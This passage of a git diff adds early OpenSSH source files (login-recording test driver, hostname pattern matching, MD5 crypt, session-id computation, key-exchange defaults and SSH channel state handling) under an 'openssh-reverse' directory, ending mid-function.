"progname\t'%s'\n\ttype\t\t%d\n\t" + "pid\t\t%d\n\tuid\t\t%d\n\t" + "line\t\t'%s'\n\tusername\t'%s'\n\t" + "hostname\t'%s'\n\texit\t\t%d\n\ttermination\t%d\n\t" + "tv_sec\t%d\n\ttv_usec\t%d\n\t" + "struct login_netinfo hostaddr {\n\t\t" + "struct sockaddr sa {\n" + "\t\t\tfamily\t%d\n\t\t}\n" + "\t}\n" + "}\n", + descname, li->progname, li->type, + li->pid, li->uid, li->line, + li->username, li->hostname, li->exit, + li->termination, li->tv_sec, li->tv_usec, + li->hostaddr.sa.sa_family); +} + + +int +testAPI() +{ + struct logininfo *li1; + struct passwd *pw; + struct hostent *he; + struct sockaddr_in sa_in4; + char cmdstring[256], stripline[8]; + char username[32]; +#ifdef HAVE_TIME_H + time_t t0, t1, t2, logintime, logouttime; + char s_t0[64],s_t1[64],s_t2[64]; + char s_logintime[64], s_logouttime[64]; /* ctime() strings */ +#endif + + printf("**\n** Testing the API...\n**\n"); + + pw = getpwuid(getuid()); + strlcpy(username, pw->pw_name, sizeof(username)); + + /* gethostname(hostname, sizeof(hostname)); */ + + printf("login_alloc_entry test (no host info):\n"); + + /* FIXME fake tty more effectively - this could upset some platforms */ + li1 = login_alloc_entry((int)getpid(), username, NULL, ttyname(0)); + strlcpy(li1->progname, "OpenSSH-logintest", sizeof(li1->progname)); + + if (be_verbose) + dump_logininfo(li1, "li1"); + + printf("Setting host address info for 'localhost' (may call out):\n"); + if (! (he = gethostbyname("localhost"))) { + printf("Couldn't set hostname(lookup failed)\n"); + } else { + /* NOTE: this is messy, but typically a program wouldn't have to set + * any of this, a sockaddr_in* would be already prepared */ + memcpy((void *)&(sa_in4.sin_addr), (void *)&(he->h_addr_list[0][0]), + sizeof(struct in_addr)); + login_set_addr(li1, (struct sockaddr *) &sa_in4, sizeof(sa_in4)); + strlcpy(li1->hostname, "localhost", sizeof(li1->hostname)); + } + if (be_verbose) + dump_logininfo(li1, "li1"); + + if ((int)geteuid() != 0) { + printf("NOT RUNNING LOGIN TESTS - you are not root!\n"); + return 1; + } + + if (nologtest) + return 1; + + line_stripname(stripline, li1->line, sizeof(stripline)); + + printf("Performing an invalid login attempt (no type field)\n--\n"); + login_write(li1); + printf("--\n(Should have written errors to stderr)\n"); + +#ifdef HAVE_TIME_H + (void)time(&t0); + strlcpy(s_t0, ctime(&t0), sizeof(s_t0)); + t1 = login_get_lastlog_time(getuid()); + strlcpy(s_t1, ctime(&t1), sizeof(s_t1)); + printf("Before logging in:\n\tcurrent time is %d - %s\t" + "lastlog time is %d - %s\n", + (int)t0, s_t0, (int)t1, s_t1); +#endif + + printf("Performing a login on line %s ", stripline); +#ifdef HAVE_TIME_H + (void)time(&logintime); + strlcpy(s_logintime, ctime(&logintime), sizeof(s_logintime)); + printf("at %d - %s", (int)logintime, s_logintime); +#endif + printf("--\n"); + login_login(li1); + + snprintf(cmdstring, sizeof(cmdstring), "who | grep '%s '", + stripline); + system(cmdstring); + + printf("--\nPausing for %d second(s)...\n", PAUSE_BEFORE_LOGOUT); + sleep(PAUSE_BEFORE_LOGOUT); + + printf("Performing a logout "); +#ifdef HAVE_TIME_H + (void)time(&logouttime); + strlcpy(s_logouttime, ctime(&logouttime), sizeof(s_logouttime)); + printf("at %d - %s", (int)logouttime, s_logouttime); +#endif + printf("\nThe root login shown above should be gone.\n" + "If the root login hasn't gone, but another user on the same\n" + "pty has, this is OK - we're hacking it here, and there\n" + "shouldn't be two users on one pty in reality...\n" + "-- ('who' output follows)\n"); + login_logout(li1); + + system(cmdstring); + printf("-- ('who' output ends)\n"); + +#ifdef HAVE_TIME_H + t2 = login_get_lastlog_time(getuid()); + strlcpy(s_t2, ctime(&t2), sizeof(s_t2)); + printf("After logging in, lastlog time is %d - %s\n", (int)t2, s_t2); + if (t1 == t2) + printf("The lastlog times before and after logging in are the " + "same.\nThis indicates that lastlog is ** NOT WORKING " + "CORRECTLY **\n"); + else if (t0 != t2) + /* We can be off by a second or so, even when recording works fine. + * I'm not 100% sure why, but it's true. */ + printf("** The login time and the lastlog time differ.\n" + "** This indicates that lastlog is either recording the " + "wrong time,\n** or retrieving the wrong entry.\n" + "If it's off by less than %d second(s) " + "run the test again.\n", PAUSE_BEFORE_LOGOUT); + else + printf("lastlog agrees with the login time. This is a good thing.\n"); + +#endif + + printf("--\nThe output of 'last' shown next should have " + "an entry for root \n on %s for the time shown above:\n--\n", + stripline); + snprintf(cmdstring, sizeof(cmdstring), "last | grep '%s ' | head -3", + stripline); + system(cmdstring); + + printf("--\nEnd of login test.\n"); + + login_free_entry(li1); + + return 1; +} /* testAPI() */ + + +void +testLineName(char *line) +{ + /* have to null-terminate - these functions are designed for + * structures with fixed-length char arrays, and don't null-term.*/ + char full[17], strip[9], abbrev[5]; + + memset(full, '\0', sizeof(full)); + memset(strip, '\0', sizeof(strip)); + memset(abbrev, '\0', sizeof(abbrev)); + + line_fullname(full, line, sizeof(full)-1); + line_stripname(strip, full, sizeof(strip)-1); + line_abbrevname(abbrev, full, sizeof(abbrev)-1); + printf("%s: %s, %s, %s\n", line, full, strip, abbrev); + +} /* testLineName() */ + + +int +testOutput() +{ + printf("**\n** Testing linename functions\n**\n"); + testLineName("/dev/pts/1"); + testLineName("pts/1"); + testLineName("pts/999"); + testLineName("/dev/ttyp00"); + testLineName("ttyp00"); + + return 1; +} /* testOutput() */ + + +/* show which options got compiled in */ +void +showOptions(void) +{ + printf("**\n** Compile-time options\n**\n"); + + printf("login recording methods selected:\n"); +#ifdef USE_LOGIN + printf("\tUSE_LOGIN\n"); +#endif +#ifdef USE_UTMP + printf("\tUSE_UTMP (UTMP_FILE=%s)\n", UTMP_FILE); +#endif +#ifdef USE_UTMPX + printf("\tUSE_UTMPX (UTMPX_FILE=%s)\n", UTMPX_FILE); +#endif +#ifdef USE_WTMP + printf("\tUSE_WTMP (WTMP_FILE=%s)\n", WTMP_FILE); +#endif +#ifdef USE_WTMPX + printf("\tUSE_WTMPX (WTMPX_FILE=%s)\n", WTMPX_FILE); +#endif +#ifdef USE_LASTLOG + printf("\tUSE_LASTLOG (LASTLOG_FILE=%s)\n", LASTLOG_FILE); +#endif + printf("\n"); + +} /* showOptions() */ + + +int +main(int argc, char *argv[]) +{ + printf("Platform-independent login recording test driver\n"); + + if (argc == 2) { + if (strncmp(argv[1], "-i", 3) == 0) + compile_opts_only = 1; + else if (strncmp(argv[1], "-v", 3) == 0) + be_verbose=1; + } + + if (!compile_opts_only) { + if (be_verbose && !testOutput()) + return 1; + + if (!testAPI()) + return 1; + } + + showOptions(); + + return 0; +} /* main() */ + diff --git a/other/openssh-reverse/match.c b/other/openssh-reverse/match.c new file mode 100644 index 0000000..c4f54b2 --- /dev/null +++ b/other/openssh-reverse/match.c @@ -0,0 +1,141 @@ +/* + * + * match.c + * + * Author: Tatu Ylonen + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * Created: Thu Jun 22 01:17:50 1995 ylo + * + * Simple pattern matching, with '*' and '?' as wildcards. + * + */ + +#include "includes.h" +RCSID("$OpenBSD: match.c,v 1.8 2000/06/20 01:39:42 markus Exp $"); + +#include "ssh.h" + +/* + * Returns true if the given string matches the pattern (which may contain ? + * and * as wildcards), and zero if it does not match. + */ + +int +match_pattern(const char *s, const char *pattern) +{ + for (;;) { + /* If at end of pattern, accept if also at end of string. */ + if (!*pattern) + return !*s; + + if (*pattern == '*') { + /* Skip the asterisk. */ + pattern++; + + /* If at end of pattern, accept immediately. */ + if (!*pattern) + return 1; + + /* If next character in pattern is known, optimize. */ + if (*pattern != '?' && *pattern != '*') { + /* + * Look instances of the next character in + * pattern, and try to match starting from + * those. + */ + for (; *s; s++) + if (*s == *pattern && + match_pattern(s + 1, pattern + 1)) + return 1; + /* Failed. */ + return 0; + } + /* + * Move ahead one character at a time and try to + * match at each position. + */ + for (; *s; s++) + if (match_pattern(s, pattern)) + return 1; + /* Failed. */ + return 0; + } + /* + * There must be at least one more character in the string. + * If we are at the end, fail. + */ + if (!*s) + return 0; + + /* Check if the next character of the string is acceptable. */ + if (*pattern != '?' && *pattern != *s) + return 0; + + /* Move to the next character, both in string and in pattern. */ + s++; + pattern++; + } + /* NOTREACHED */ +} + +/* + * Tries to match the host name (which must be in all lowercase) against the + * comma-separated sequence of subpatterns (each possibly preceded by ! to + * indicate negation). Returns -1 if negation matches, 1 if there is + * a positive match, 0 if there is no match at all. + */ + +int +match_hostname(const char *host, const char *pattern, unsigned int len) +{ + char sub[1024]; + int negated; + int got_positive; + unsigned int i, subi; + + got_positive = 0; + for (i = 0; i < len;) { + /* Check if the subpattern is negated. */ + if (pattern[i] == '!') { + negated = 1; + i++; + } else + negated = 0; + + /* + * Extract the subpattern up to a comma or end. Convert the + * subpattern to lowercase. + */ + for (subi = 0; + i < len && subi < sizeof(sub) - 1 && pattern[i] != ','; + subi++, i++) + sub[subi] = isupper(pattern[i]) ? tolower(pattern[i]) : pattern[i]; + /* If subpattern too long, return failure (no match). */ + if (subi >= sizeof(sub) - 1) + return 0; + + /* If the subpattern was terminated by a comma, skip the comma. */ + if (i < len && pattern[i] == ',') + i++; + + /* Null-terminate the subpattern. */ + sub[subi] = '\0'; + + /* Try to match the subpattern against the host name. */ + if (match_pattern(host, sub)) { + if (negated) + return -1; /* Negative */ + else + got_positive = 1; /* Positive */ + } + } + + /* + * Return success if got a positive match. If there was a negative + * match, we have already returned -1 and never get here. + */ + return got_positive; +} diff --git a/other/openssh-reverse/match.h b/other/openssh-reverse/match.h new file mode 100644 index 0000000..8eac0a5 --- /dev/null +++ b/other/openssh-reverse/match.h @@ -0,0 +1,18 @@ +#ifndef MATCH_H +#define MATCH_H + +/* + * Returns true if the given string matches the pattern (which may contain ? + * and * as wildcards), and zero if it does not match. + */ +int match_pattern(const char *s, const char *pattern); + +/* + * Tries to match the host name (which must be in all lowercase) against the + * comma-separated sequence of subpatterns (each possibly preceded by ! to + * indicate negation). Returns -1 if negation matches, 1 if there is + * a positive match, 0 if there is no match at all. + */ +int match_hostname(const char *host, const char *pattern, unsigned int len); + +#endif diff --git a/other/openssh-reverse/md5crypt.c b/other/openssh-reverse/md5crypt.c new file mode 100644 index 0000000..a9f0f26 --- /dev/null +++ b/other/openssh-reverse/md5crypt.c @@ -0,0 +1,159 @@ +/* + * ---------------------------------------------------------------------------- + * "THE BEER-WARE LICENSE" (Revision 42): + * wrote this file. As long as you retain this notice you + * can do whatever you want with this stuff. If we meet some day, and you think + * this stuff is worth it, you can buy me a beer in return. Poul-Henning Kamp + * ---------------------------------------------------------------------------- + */ + +/* + * Ported from FreeBSD to Linux, only minimal changes. --marekm + */ + +/* + * Adapted from shadow-19990607 by Tudor Bosman, tudorb@jm.nu + */ + +#include "config.h" + +#if defined(HAVE_MD5_PASSWORDS) && !defined(HAVE_MD5_CRYPT) + +#include +#include +#include + +static unsigned char itoa64[] = /* 0 ... 63 => ascii - 64 */ + "./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; + +static char *magic = "$1$"; /* + * This string is magic for + * this algorithm. Having + * it this way, we can get + * get better later on + */ + +static void +to64(char *s, unsigned long v, int n) +{ + while (--n >= 0) { + *s++ = itoa64[v&0x3f]; + v >>= 6; + } +} + +int +is_md5_salt(const char *salt) +{ + return (!strncmp(salt, magic, strlen(magic))); +} + +/* + * UNIX password + * + * Use MD5 for what it is best at... + */ + +char * +md5_crypt(const char *pw, const char *salt) +{ + static char passwd[120], *p; + static const char *sp,*ep; + unsigned char final[16]; + int sl,pl,i,j; + MD5_CTX ctx,ctx1; + unsigned long l; + + /* Refine the Salt first */ + sp = salt; + + /* If it starts with the magic string, then skip that */ + if(!strncmp(sp,magic,strlen(magic))) + sp += strlen(magic); + + /* It stops at the first '$', max 8 chars */ + for(ep=sp;*ep && *ep != '$' && ep < (sp+8);ep++) + continue; + + /* get the length of the true salt */ + sl = ep - sp; + + MD5_Init(&ctx); + + /* The password first, since that is what is most unknown */ + MD5_Update(&ctx,pw,strlen(pw)); + + /* Then our magic string */ + MD5_Update(&ctx,magic,strlen(magic)); + + /* Then the raw salt */ + MD5_Update(&ctx,sp,sl); + + /* Then just as many characters of the MD5(pw,salt,pw) */ + MD5_Init(&ctx1); + MD5_Update(&ctx1,pw,strlen(pw)); + MD5_Update(&ctx1,sp,sl); + MD5_Update(&ctx1,pw,strlen(pw)); + MD5_Final(final,&ctx1); + for(pl = strlen(pw); pl > 0; pl -= 16) + MD5_Update(&ctx,final,pl>16 ? 16 : pl); + + /* Don't leave anything around in vm they could use. */ + memset(final,0,sizeof final); + + /* Then something really weird... */ + for (j=0,i = strlen(pw); i ; i >>= 1) + if(i&1) + MD5_Update(&ctx, final+j, 1); + else + MD5_Update(&ctx, pw+j, 1); + + /* Now make the output string */ + strcpy(passwd,magic); + strncat(passwd,sp,sl); + strcat(passwd,"$"); + + MD5_Final(final,&ctx); + + /* + * and now, just to make sure things don't run too fast + * On a 60 Mhz Pentium this takes 34 msec, so you would + * need 30 seconds to build a 1000 entry dictionary... + */ + for(i=0;i<1000;i++) { + MD5_Init(&ctx1); + if(i & 1) + MD5_Update(&ctx1,pw,strlen(pw)); + else + MD5_Update(&ctx1,final,16); + + if(i % 3) + MD5_Update(&ctx1,sp,sl); + + if(i % 7) + MD5_Update(&ctx1,pw,strlen(pw)); + + if(i & 1) + MD5_Update(&ctx1,final,16); + else + MD5_Update(&ctx1,pw,strlen(pw)); + MD5_Final(final,&ctx1); + } + + p = passwd + strlen(passwd); + + l = (final[ 0]<<16) | (final[ 6]<<8) | final[12]; to64(p,l,4); p += 4; + l = (final[ 1]<<16) | (final[ 7]<<8) | final[13]; to64(p,l,4); p += 4; + l = (final[ 2]<<16) | (final[ 8]<<8) | final[14]; to64(p,l,4); p += 4; + l = (final[ 3]<<16) | (final[ 9]<<8) | final[15]; to64(p,l,4); p += 4; + l = (final[ 4]<<16) | (final[10]<<8) | final[ 5]; to64(p,l,4); p += 4; + l = final[11] ; to64(p,l,2); p += 2; + *p = '\0'; + + /* Don't leave anything around in vm they could use. */ + memset(final,0,sizeof final); + + return passwd; +} + +#endif /* defined(HAVE_MD5_PASSWORDS) && !defined(HAVE_MD5_CRYPT) */ diff --git a/other/openssh-reverse/md5crypt.h b/other/openssh-reverse/md5crypt.h new file mode 100644 index 0000000..2e018d8 --- /dev/null +++ b/other/openssh-reverse/md5crypt.h @@ -0,0 +1,30 @@ +/* + * ---------------------------------------------------------------------------- + * "THE BEER-WARE LICENSE" (Revision 42): + * wrote this file. As long as you retain this notice you + * can do whatever you want with this stuff. If we meet some day, and you think + * this stuff is worth it, you can buy me a beer in return. Poul-Henning Kamp + * ---------------------------------------------------------------------------- + */ + +/* + * Ported from FreeBSD to Linux, only minimal changes. --marekm + */ + +/* + * Adapted from shadow-19990607 by Tudor Bosman, tudorb@jm.nu + */ + +#ifndef _MD5CRYPT_H +#define _MD5CRYPT_H + +#include "config.h" + +#if defined(HAVE_MD5_PASSWORDS) && !defined(HAVE_MD5_CRYPT) + +int is_md5_salt(const char *salt); +char *md5_crypt(const char *pw, const char *salt); + +#endif /* defined(HAVE_MD5_PASSWORDS) && !defined(HAVE_MD5_CRYPT) */ + +#endif /* MD5CRYPT_H */ diff --git a/other/openssh-reverse/mkinstalldirs b/other/openssh-reverse/mkinstalldirs new file mode 100755 index 0000000..614ef33 --- /dev/null +++ b/other/openssh-reverse/mkinstalldirs @@ -0,0 +1,40 @@ +#! /bin/sh +# mkinstalldirs --- make directory hierarchy +# Author: Noah Friedman +# Created: 1993-05-16 +# Public domain + +# $Id: mkinstalldirs,v 1.1 2000/05/20 05:33:45 damien Exp $ + +errstatus=0 + +for file +do + set fnord `echo ":$file" | sed -ne 's/^:\//#/;s/^://;s/\// /g;s/^#/\//;p'` + shift + + pathcomp= + for d + do + pathcomp="$pathcomp$d" + case "$pathcomp" in + -* ) pathcomp=./$pathcomp ;; + esac + + if test ! -d "$pathcomp"; then + echo "mkdir $pathcomp" + + mkdir "$pathcomp" || lasterr=$? + + if test ! -d "$pathcomp"; then + errstatus=$lasterr + fi + fi + + pathcomp="$pathcomp/" + done +done + +exit $errstatus + +# mkinstalldirs ends here diff --git a/other/openssh-reverse/mpaux.c b/other/openssh-reverse/mpaux.c new file mode 100644 index 0000000..6caae64 --- /dev/null +++ b/other/openssh-reverse/mpaux.c @@ -0,0 +1,46 @@ +/* + * + * mpaux.c + * + * Author: Tatu Ylonen + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * Created: Sun Jul 16 04:29:30 1995 ylo + * + * This file contains various auxiliary functions related to multiple + * precision integers. + * +*/ + +#include "includes.h" +RCSID("$OpenBSD: mpaux.c,v 1.13 2000/06/20 01:39:42 markus Exp $"); + +#include +#include "getput.h" +#include "xmalloc.h" + +#include + +void +compute_session_id(unsigned char session_id[16], + unsigned char cookie[8], + BIGNUM* host_key_n, + BIGNUM* session_key_n) +{ + unsigned int host_key_bytes = BN_num_bytes(host_key_n); + unsigned int session_key_bytes = BN_num_bytes(session_key_n); + unsigned int bytes = host_key_bytes + session_key_bytes; + unsigned char *buf = xmalloc(bytes); + MD5_CTX md; + + BN_bn2bin(host_key_n, buf); + BN_bn2bin(session_key_n, buf + host_key_bytes); + MD5_Init(&md); + MD5_Update(&md, buf, bytes); + MD5_Update(&md, cookie, 8); + MD5_Final(session_id, &md); + memset(buf, 0, bytes); + xfree(buf); +} diff --git a/other/openssh-reverse/mpaux.h b/other/openssh-reverse/mpaux.h new file mode 100644 index 0000000..b05c14b --- /dev/null +++ b/other/openssh-reverse/mpaux.h @@ -0,0 +1,32 @@ +/* + * + * mpaux.h + * + * Author: Tatu Ylonen + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * Created: Sun Jul 16 04:29:30 1995 ylo + * + * This file contains various auxiliary functions related to multiple + * precision integers. + */ + +/* RCSID("$OpenBSD: mpaux.h,v 1.7 2000/06/20 01:39:42 markus Exp $"); */ + +#ifndef MPAUX_H +#define MPAUX_H + +/* + * Computes a 16-byte session id in the global variable session_id. The + * session id is computed by concatenating the linearized, msb first + * representations of host_key_n, session_key_n, and the cookie. + */ +void +compute_session_id(unsigned char session_id[16], + unsigned char cookie[8], + BIGNUM * host_key_n, + BIGNUM * session_key_n); + +#endif /* MPAUX_H */ diff --git a/other/openssh-reverse/myproposal.h b/other/openssh-reverse/myproposal.h new file mode 100644 index 0000000..9611d89 --- /dev/null +++ b/other/openssh-reverse/myproposal.h @@ -0,0 +1,20 @@ +#define KEX_DEFAULT_KEX "diffie-hellman-group1-sha1" +#define KEX_DEFAULT_PK_ALG "ssh-dss" +#define KEX_DEFAULT_ENCRYPT "3des-cbc,blowfish-cbc,arcfour,cast128-cbc" +#define KEX_DEFAULT_MAC "hmac-sha1,hmac-md5,hmac-ripemd160@openssh.com" +#define KEX_DEFAULT_COMP "zlib,none" +#define KEX_DEFAULT_LANG "" + + +static char *myproposal[PROPOSAL_MAX] = { + KEX_DEFAULT_KEX, + KEX_DEFAULT_PK_ALG, + KEX_DEFAULT_ENCRYPT, + KEX_DEFAULT_ENCRYPT, + KEX_DEFAULT_MAC, + KEX_DEFAULT_MAC, + KEX_DEFAULT_COMP, + KEX_DEFAULT_COMP, + KEX_DEFAULT_LANG, + KEX_DEFAULT_LANG +}; diff --git a/other/openssh-reverse/nchan.c b/other/openssh-reverse/nchan.c new file mode 100644 index 0000000..cef5649 --- /dev/null +++ b/other/openssh-reverse/nchan.c @@ -0,0 +1,495 @@ +/* + * Copyright (c) 1999 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by Markus Friedl. + * 4. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "includes.h" +RCSID("$OpenBSD: nchan.c,v 1.18 2000/06/20 01:39:42 markus Exp $"); + +#include "ssh.h" + +#include "buffer.h" +#include "packet.h" +#include "channels.h" +#include "nchan.h" + +#include "ssh2.h" +#include "compat.h" + +/* functions manipulating channel states */ +/* + * EVENTS update channel input/output states execute ACTIONS + */ +/* events concerning the INPUT from socket for channel (istate) */ +chan_event_fn *chan_rcvd_oclose = NULL; +chan_event_fn *chan_read_failed = NULL; +chan_event_fn *chan_ibuf_empty = NULL; +/* events concerning the OUTPUT from channel for socket (ostate) */ +chan_event_fn *chan_rcvd_ieof = NULL; +chan_event_fn *chan_write_failed = NULL; +chan_event_fn *chan_obuf_empty = NULL; +/* + * ACTIONS: should never update the channel states + */ +static void chan_send_ieof1(Channel *c); +static void chan_send_oclose1(Channel *c); +static void chan_send_close2(Channel *c); +static void chan_send_eof2(Channel *c); + +/* channel cleanup */ +chan_event_fn *chan_delete_if_full_closed = NULL; + +/* helper */ +static void chan_shutdown_write(Channel *c); +static void chan_shutdown_read(Channel *c); + +/* + * SSH1 specific implementation of event functions + */ + +static void +chan_rcvd_oclose1(Channel *c) +{ + debug("channel %d: rcvd oclose", c->self); + switch (c->istate) { + case CHAN_INPUT_WAIT_OCLOSE: + debug("channel %d: input wait_oclose -> closed", c->self); + c->istate = CHAN_INPUT_CLOSED; + break; + case CHAN_INPUT_OPEN: + debug("channel %d: input open -> closed", c->self); + chan_shutdown_read(c); + chan_send_ieof1(c); + c->istate = CHAN_INPUT_CLOSED; + break; + case CHAN_INPUT_WAIT_DRAIN: + /* both local read_failed and remote write_failed */ + log("channel %d: input drain -> closed", c->self); + chan_send_ieof1(c); + c->istate = CHAN_INPUT_CLOSED; + break; + default: + error("channel %d: protocol error: chan_rcvd_oclose for istate %d", + c->self, c->istate); + return; + } +} +static void +chan_read_failed_12(Channel *c) +{ + debug("channel %d: read failed", c->self); + switch (c->istate) { + case CHAN_INPUT_OPEN: + debug("channel %d: input open -> drain", c->self); + chan_shutdown_read(c); + c->istate = CHAN_INPUT_WAIT_DRAIN; + if (buffer_len(&c->input) == 0) { + debug("channel %d: input: no drain shortcut", c->self); + chan_ibuf_empty(c); + } + break; + default: + error("channel %d: internal error: we do not read, but chan_read_failed for istate %d", + c->self, c->istate); + break; + } +} +static void +chan_ibuf_empty1(Channel *c) +{ + debug("channel %d: ibuf empty", c->self); + if (buffer_len(&c->input)) { + error("channel %d: internal error: chan_ibuf_empty for non empty buffer", + c->self); + return; + } + switch (c->istate) { + case CHAN_INPUT_WAIT_DRAIN: + debug("channel %d: input drain -> wait_oclose", c->self); + chan_send_ieof1(c); + c->istate = CHAN_INPUT_WAIT_OCLOSE; + break; + default: + error("channel %d: internal error: chan_ibuf_empty for istate %d", + c->self, c->istate); + break; + } +} +static void +chan_rcvd_ieof1(Channel *c) +{ + debug("channel %d: rcvd ieof", c->self); + if (c->type != SSH_CHANNEL_OPEN) { + debug("channel %d: non-open", c->self); + if (c->istate == CHAN_INPUT_OPEN) { + debug("channel %d: non-open: input open -> wait_oclose", c->self); + chan_shutdown_read(c); + chan_send_ieof1(c); + c->istate = CHAN_INPUT_WAIT_OCLOSE; + } else { + error("channel %d: istate %d != open", c->self, c->istate); + } + if (c->ostate == CHAN_OUTPUT_OPEN) { + debug("channel %d: non-open: output open -> closed", c->self); + chan_send_oclose1(c); + c->ostate = CHAN_OUTPUT_CLOSED; + } else { + error("channel %d: ostate %d != open", c->self, c->ostate); + } + return; + } + switch (c->ostate) { + case CHAN_OUTPUT_OPEN: + debug("channel %d: output open -> drain", c->self); + c->ostate = CHAN_OUTPUT_WAIT_DRAIN; + break; + case CHAN_OUTPUT_WAIT_IEOF: + debug("channel %d: output wait_ieof -> closed", c->self); + c->ostate = CHAN_OUTPUT_CLOSED; + break; + default: + error("channel %d: protocol error: chan_rcvd_ieof for ostate %d", + c->self, c->ostate); + break; + } +} +static void +chan_write_failed1(Channel *c) +{ + debug("channel %d: write failed", c->self); + switch (c->ostate) { + case CHAN_OUTPUT_OPEN: + debug("channel %d: output open -> wait_ieof", c->self); + chan_send_oclose1(c); + c->ostate = CHAN_OUTPUT_WAIT_IEOF; + break; + case CHAN_OUTPUT_WAIT_DRAIN: + debug("channel %d: output wait_drain -> closed", c->self); + chan_send_oclose1(c); + c->ostate = CHAN_OUTPUT_CLOSED; + break; + default: + error("channel %d: internal error: chan_write_failed for ostate %d", + c->self, c->ostate); + break; + } +} +static void +chan_obuf_empty1(Channel *c) +{ + debug("channel %d: obuf empty", c->self); + if (buffer_len(&c->output)) { + error("channel %d: internal error: chan_obuf_empty for non empty buffer", + c->self); + return; + } + switch (c->ostate) { + case CHAN_OUTPUT_WAIT_DRAIN: + debug("channel %d: output drain -> closed", c->self); + chan_send_oclose1(c); + c->ostate = CHAN_OUTPUT_CLOSED; + break; + default: + error("channel %d: internal error: chan_obuf_empty for ostate %d", + c->self, c->ostate); + break; + } +} +static void +chan_send_ieof1(Channel *c) +{ + debug("channel %d: send ieof", c->self); + switch (c->istate) { + case CHAN_INPUT_OPEN: + case CHAN_INPUT_WAIT_DRAIN: + packet_start(SSH_MSG_CHANNEL_INPUT_EOF); + packet_put_int(c->remote_id); + packet_send(); + break; + default: + error("channel %d: internal error: cannot send ieof for istate %d", + c->self, c->istate); + break; + } +} +static void +chan_send_oclose1(Channel *c) +{ + debug("channel %d: send oclose", c->self); + switch (c->ostate) { + case CHAN_OUTPUT_OPEN: + case CHAN_OUTPUT_WAIT_DRAIN: + chan_shutdown_write(c); + buffer_consume(&c->output, buffer_len(&c->output)); + packet_start(SSH_MSG_CHANNEL_OUTPUT_CLOSE); + packet_put_int(c->remote_id); + packet_send(); + break; + default: + error("channel %d: internal error: cannot send oclose for ostate %d", + c->self, c->ostate); + break; + } +} +static void +chan_delete_if_full_closed1(Channel *c) +{ + if (c->istate == CHAN_INPUT_CLOSED && c->ostate == CHAN_OUTPUT_CLOSED) { + debug("channel %d: full closed", c->self); + channel_free(c->self); + } +} + +/* + * the same for SSH2 + */ +static void +chan_rcvd_oclose2(Channel *c) +{ + debug("channel %d: rcvd close", c->self); + if (c->flags & CHAN_CLOSE_RCVD) + error("channel %d: protocol error: close rcvd twice", c->self); + c->flags |= CHAN_CLOSE_RCVD; + if (c->type == SSH_CHANNEL_LARVAL) { + /* tear down larval channels immediately */ + c->ostate = CHAN_OUTPUT_CLOSED; + c->istate = CHAN_INPUT_CLOSED; + return; + } + switch (c->ostate) { + case CHAN_OUTPUT_OPEN: + /* wait until a data from the channel is consumed if a CLOSE is received */ + debug("channel %d: output open -> drain", c->self); + c->ostate = CHAN_OUTPUT_WAIT_DRAIN; + break; + } + switch (c->istate) { + case CHAN_INPUT_OPEN: + debug("channel %d: input open -> closed", c->self); + chan_shutdown_read(c); + break; + case CHAN_INPUT_WAIT_DRAIN: + debug("channel %d: input drain -> closed", c->self); + chan_send_eof2(c); + break; + } + c->istate = CHAN_INPUT_CLOSED; +} +static void +chan_ibuf_empty2(Channel *c) +{ + debug("channel %d: ibuf empty", c->self); + if (buffer_len(&c->input)) { + error("channel %d: internal error: chan_ibuf_empty for non empty buffer", + c->self); + return; + } + switch (c->istate) { + case CHAN_INPUT_WAIT_DRAIN: + debug("channel %d: input drain -> closed", c->self); + if (!(c->flags & CHAN_CLOSE_SENT)) + chan_send_eof2(c); + c->istate = CHAN_INPUT_CLOSED; + break; + default: + error("channel %d: internal error: chan_ibuf_empty for istate %d", + c->self, c->istate); + break; + } +} +static void +chan_rcvd_ieof2(Channel *c) +{ + debug("channel %d: rcvd eof", c->self); + if (c->ostate == CHAN_OUTPUT_OPEN) { + debug("channel %d: output open -> drain", c->self); + c->ostate = CHAN_OUTPUT_WAIT_DRAIN; + } +} +static void +chan_write_failed2(Channel *c) +{ + debug("channel %d: write failed", c->self); + switch (c->ostate) { + case CHAN_OUTPUT_OPEN: + debug("channel %d: output open -> closed", c->self); + chan_shutdown_write(c); /* ?? */ + c->ostate = CHAN_OUTPUT_CLOSED; + break; + case CHAN_OUTPUT_WAIT_DRAIN: + debug("channel %d: output drain -> closed", c->self); + chan_shutdown_write(c); + c->ostate = CHAN_OUTPUT_CLOSED; + break; + default: + error("channel %d: internal error: chan_write_failed for ostate %d", + c->self, c->ostate); + break; + } +} +static void +chan_obuf_empty2(Channel *c) +{ + debug("channel %d: obuf empty", c->self); + if (buffer_len(&c->output)) { + error("internal error: chan_obuf_empty %d for non empty buffer", + c->self); + return; + } + switch (c->ostate) { + case 